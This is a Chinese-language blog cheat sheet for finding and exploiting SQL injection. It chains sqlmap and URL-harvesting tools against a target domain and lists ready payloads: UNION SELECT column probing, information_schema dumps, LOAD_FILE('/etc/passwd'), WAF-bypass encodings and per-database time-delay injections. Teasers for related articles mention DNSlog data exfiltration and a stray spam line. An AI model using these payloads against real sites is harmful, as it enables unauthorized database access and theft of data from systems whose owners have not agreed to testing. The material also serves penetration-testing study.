<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    SQL快速注入漏洞技巧

    一顆小胡椒2021-12-18 07:46:43

    1. 使用 Burpsuite:

    Capture the request using burpsuite.Send the request to burp scanner.Proceed with active scan.Once the scan is finished, look for SQL vulnerability that has been detected.Manually try SQL injection payloads.Use SQLMAP to speed up the process.

    2. 使用 waybackurls 和其他工具:

    sublist3r -d target | tee -a domains (you can use other tools like findomain, assetfinder, etc.)cat domains | httpx | tee -a alivecat alive | waybackurls | tee -a urlsgf sqli urls >> sqlisqlmap -m sqli --dbs --batchuse tamper scripts
    

    3.使用啟發式掃描獲取隱藏參數:

    Use subdomain enumeration tools on the domain.Gather all urls using hakcrawler, waybackurls, gau for the domain and subdomains.You can use the same method described above in 2nd point.Use Arjun to scan for the hidden params in the urls. Use --urls flag to include all urls.Check the params as https://domain.com?=<value>Send request to file and process it through sqlmap.
    

    4. 使用不受信任的輸入或特殊字符生成錯誤:

    Submit single quote character ' & look for errors.Submit SQL specific query.Submit Boolean conditions such as or 1=1 and or 1=0, and looking application's response.Submit certain payloads that results in time delay.
    

    5.使用 order by 或 group by 或具有以下條件查找總列數:

      Submit a series of ORDER BY clause such as         ' ORDER BY 1 --    ' ORDER BY 2 --    ' ORDER BY 3 --        and incrementing specified column index until an error occurs.
    

    6.使用聯合運算符查找易受攻擊的列:

      Submit a series of UNION SELECT payloads.      ' UNION SELECT NULL --    ' UNION SELECT NULL, NULL --    ' UNION SELECT NULL, NULL, NULL --      (Using NULL maximizes the probability that the payload will succeed. NULL can be converted to every commonly used data type.)
    

    7.使用 concat() 或 group_concat() 提取諸如 database()、version()、user()、UUID() 等基本信息

    1. 數據庫版本

    Oracle         SELECT banner FROM v$version            SELECT version FROM v$instanceMicrosoft         SELECT @@versionPostgreSQL         SELECT version()MySQL         SELECT @@version
    

    2. 數據庫內容

        Oracle        SELECT * FROM all_tables            SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'        Microsoft     SELECT * FROM information_schema.tables                  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'        PostgreSQL     SELECT * FROM information_schema.tables                  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
        MySQL         SELECT * FROM information_schema.tables                  SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
    

    3. 顯示版本、用戶和數據庫名稱

    ' AND 1=2 UNION ALL SELECT concat_ws(0x3a,version(),user(),database())
    

    4.使用group_concat()函數,用于連接返回結果的所有行。

    ' union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()–
    

    8. 使用load_file() 訪問系統文件。然后提前開發:

    ' UNION ALL SELECT LOAD_FILE ('/ etc / passwd')
    

    9.繞過WAF:

    1. 在 SQL 查詢之前使用 Null 字節

    %00' UNION SELECT password FROM Users WHERE username-'xyz'--
    

    2.使用SQL內聯注釋序列

    '/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/OM/**/Users/**/WHE/**/RE/**/username/**/LIKE/**/'xyz'--
    

    3.網址編碼

    for example :/ URL encoded to %2f* URL encoded to %2a
    Can also use double encoding, if single encoding doesn't works. Use hex encoding if the rest doesn't work.
    

    4. 改變大小寫(大寫/小寫)

    5. 使用 SQLMAP 篡改腳本。它有助于繞過 WAF/IDS/IPS。

    6. 時間延遲:

    Oracle         dbms_pipe.receive_message(('a'),10)      Microsoft     WAITFOR DELAY '0:0:10'      PostgreSQL     SELECT pg_sleep(10)      MySQL         SELECT sleep(10)
    

    7. 有條件的延誤:

    Oracle         SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual      Microsoft     IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'      PostgreSQL     SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END      MySQL         SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')
    
    selecttable
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    關注一波,謝謝各位師傅感謝ch1e師傅幫忙總結ch1e‘blog:https://ch1e.gitee.io
    數據庫注入提權總結
    2022-08-09 16:49:49
    select * from test where id=1 and ;布爾盲注常見的布爾盲注場景有兩種,一是返回值只有True或False的類型,二是Order by盲注。查詢結果正確,則延遲3秒,錯誤則無延時。笛卡爾積延時大約也是3秒HTTP頭注入注入手法和上述相差不多,就是注入點發生了變化HTTP分割注入常見場景,登錄處SQL語句如下
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。這只是一個簡單的總結,只是簡單的為新手分享一下SQL注入,文中內容可能會存在錯誤,望大佬們手下留情!0x01 Mysql 手工注入1.1 聯合注入?id=0' union select 1,2,3,group_concat from users --+#group_concat 可替換為 concat_ws
    一直以來,都想擺脫sqlmap的束縛,通過自定義腳本來完成某月某天,挖盒子過程中,burpsuite掃出某個sqli,花了點時間測了下,確實有些搞頭。
    1.先通過引號 判斷該網站為數字型,payload直接拼接,無需引號閉合,當網站后直接構造拼接 and 0# 網站商品列表內容受到影響提示報錯,此為回報錯型注入
    今天來分享一個繞過過濾比如?等字符的場景,測試環境為 PHP+Mysql假設場景php 代碼通過 HTTP GET 參數 param1 接收用戶輸入的內容,然后經過自定義的過濾函數?過濾可能導致 SQL 注入的特殊字符。在 SQL 查詢中,用戶數據作為列名插入到查詢語句中,比如:$query = mysqli_query;函數來打印錯誤信息,那么也無法使用報錯注入的方式來回顯數據。auth,使用 like 子句來查找該表名的第一個字符?
    DNSlog就是存儲在DNS服務器上的域名信息,它記錄著用戶對域名www.baidu.com等的訪問信息,類似日志文件?以Mysql為例,通過dnslog外帶數據需要用到load_file函數,所以一般得是root權限,并且secure_file_priv得為空payload:。1' and # //查看當前用戶。返回用來啟動當前的 Cmd.exe 的準確命令行。通常用非零值表示錯誤。
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    如下圖:掃碼后發現跳轉到了QQ郵箱登陸界面,確定為釣魚網站,看到其域名為http://****kak2.cn。既然是將數據提交到本站了,那么如果釣魚者再后端接收數據時直接將參數拼接到SQL語句中,那么就可能存在SQL注入。現在我們構造數據,提交數據,然后抓取數據包來進行測試,抓取的數據包如下:接下來開始測試是否存在SQL注入,name參數后添加單引號,發送數據,發現報錯,存在SQL注入!猜解一下數據庫名,數據庫版本,構造payload' and updatexml%23
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类